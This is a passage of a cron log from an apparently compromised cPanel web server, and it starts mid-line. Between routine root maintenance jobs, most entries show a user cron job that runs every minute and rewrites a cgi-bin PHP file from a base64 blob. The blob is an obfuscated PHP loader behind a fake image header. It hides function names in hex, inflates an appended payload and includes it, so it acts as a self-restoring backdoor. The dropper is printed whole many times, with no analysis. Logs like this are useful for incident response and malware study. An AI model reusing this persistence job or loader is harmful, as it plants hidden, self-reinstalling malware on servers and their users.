9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:08:01 server CROND[29444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:09:01 server CROND[29628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:09:01 server CROND[29629]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 12:10:01 server CROND[29685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:10:01 server CROND[29687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 12:10:01 server CROND[29688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:10:01 server CROND[29686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:11:01 server CROND[29793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:12:01 server CROND[29839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:12:01 server CROND[29840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 12:13:01 server CROND[29893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:14:01 server CROND[30078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:15:01 server CROND[30154]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 12 12:15:01 server CROND[30153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:15:01 server CROND[30155]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:15:01 server CROND[30156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:15:01 server CROND[30161]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 12:16:01 server CROND[30330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:17:01 server CROND[30375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:18:01 server CROND[30420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:19:01 server CROND[30492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:20:01 server CROND[30646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:20:01 server CROND[30644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:20:01 server CROND[30648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 12:20:01 server CROND[30647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 12:20:01 server CROND[30649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
